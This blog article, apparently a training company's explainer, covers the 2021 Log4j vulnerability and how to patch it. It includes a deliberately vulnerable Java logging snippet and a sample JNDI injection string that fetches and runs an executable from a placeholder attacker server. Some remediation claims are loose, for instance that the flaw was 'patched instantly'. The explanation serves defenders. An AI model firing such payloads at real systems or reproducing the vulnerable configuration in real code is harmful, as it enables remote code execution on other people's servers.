If you are in software development, you are likely somewhat familiar with the Log4j exploit that happened back in 2021. It was so serious the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, called it “one of the most serious [exploits] I’ve seen in my career, if not the most serious.” And organizations across the globe stopped all IT operations for a small amount of time to ensure the flaw was remediated.
In this article, we’ll go over why this flaw warranted such a sense of urgency, what exactly was exploited, and the repercussions of ignoring the issue.
See also: 5 Best Ways to Evaluate Your Organization's Security Posture.
Level Up Your Security Skills Today
Cyberthreats are increasing not only in frequency but complexity. So the demand for professionals who can keep networks and data protected and safe continues to increase. You’ll find the training you need to develop and hone in-demand security skills at CBT Nuggets.
Whether you are new to cybersecurity or a seasoned network security pro, our courses can get you up to speed on the latest security technologies and best practices. Much of our online cybersecurity training maps to highly valued certifications — and covers skills that many organizations desperately need.
Not a CBT Nuggets subscriber? Sign up for a 7-day free trial to get a feel of what it’s like to learn IT with us. Explore all of our cybersecurity training and start learning skills that can help you keep networks and data safe!
What is Log4j?
Log4j (which roughly stands for “Logging for Java”) is a common library used for creating logs in Java code. It is nearly ubiquitous in the Java world and found in nearly every Java application.
Logs are inserted directly into the source code. There are several different “levels” of logs—ranging from Fatal, Error, Warning, and Information. These logs can then be read from software, such as Splunk, or directly from a Docker container.
Often, developers use a convenient feature in Java called string interpolation. This allows you to easily add variables to logs. It looks something like this: String.format(“Logging User: %s”, user) or simply uses the following format:
${variable_name} where variable_name has been defined elsewhere in the code.
Let’s take a look at a snippet of Java code. In the example below, we are simply executing a log4j error log.
package com.example;import org.apache.logging.log4j.*;public class App {private static final Logger logger = LogManager.getLogger(App.class);public static void main( String[] args ){System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String ref = args[0];logger.error("Logs: " + ref); <———This is a log4j log.}}If you have java and Log4j installed, you can run it by typing: java App.java something
This will output: Logs: something
Instead of putting something, I could have easily put ${java:version}. Instead of literally outputting ${java:version}, log4j will execute the code inside of the brackets. That’s a bad thing.
This will output Logs: Java version 1.8.0_200 (or whatever version you are on.)
You can start to see why this is a problem. Now, let’s dig deeper into how a hacker could exploit Log4j’s “helpful” feature of auto-filling variable names.
What is the Log4j Exploit?
The Log4J vulnerability is called an arbitrary code execution exploit. In order to exploit Log4j, a hacker just has to find a way to trigger logs. For instance, when you put your information into a form and click “submit”, there is a good chance that it will be logged—which means that the app is exploitable. Our previous version of outputting the Java version is benign, but things get heated quickly if a hacker leverages JNDI to retrieve or add malware to a server.
JNDI stands for Java Naming and Directory Interface. JNDI is an interface that allows Java application access to LDAP and other directory protocols.
Hackers can use JNDI query strings within log4j to access users’ personal data. They can also update and create data on these servers using JNDI or even run an executable program on their server. Recall that log4j will execute anything inside the ${}.
So in a user form, you could put something like this:
${jndi:ldap://my-server-ip/Basic/Command/Base64/<some-encoded-executable>}
Once you click submit, that string will run through the code and inevitably crash. However, if it encounters a Log4j log, it will execute the code. That executable could be anything. It could be Java code to rewrite everything in the Active Directory or add malware to turn your server into a bitcoin miner. The possibilities are endless—and your server is now their property.
What Can I Do to Prevent Log4j?
Luckily, the exploit was discovered and patched instantly. Make sure your Java application is on version 2.17.1 if you are using Java 8. Version 2.12.4 if you are on Java 7, and version 2.3.2 if you are on Java 6. It cannot be stressed enough how important it is that this is remediated immediately. If your organization is using Java Maven, Log4j will be located in the application’s pom.xml file.
In addition to remediating Log4j, make sure your organization has a proper security posture. For example, all dependencies should be scanned for possible vulnerabilities using tools such as Black Duck or AWS Inspector.
Final Thoughts
It’s not every day that a vulnerability is rated a 10 out of 10 by the Common Vulnerability Scoring System. The log4j exploit had been around for eight years before it was discovered. As far as anyone knows, it had never been thoroughly exploited before 2021.
This is a valuable lesson in constant vigilance. Remember to always stay up to date on the latest code and try to find vulnerabilities in applications yourself. Who knows, maybe you will be the hero who discovers an exploit!
Interested in earning security certifications or beefing up your cybersecurity knowledge? We offer a wide range of courses to support your development.
See what we’ve got (and even take a course) for FREE by signing up for a one-week no-strings-attached trial.
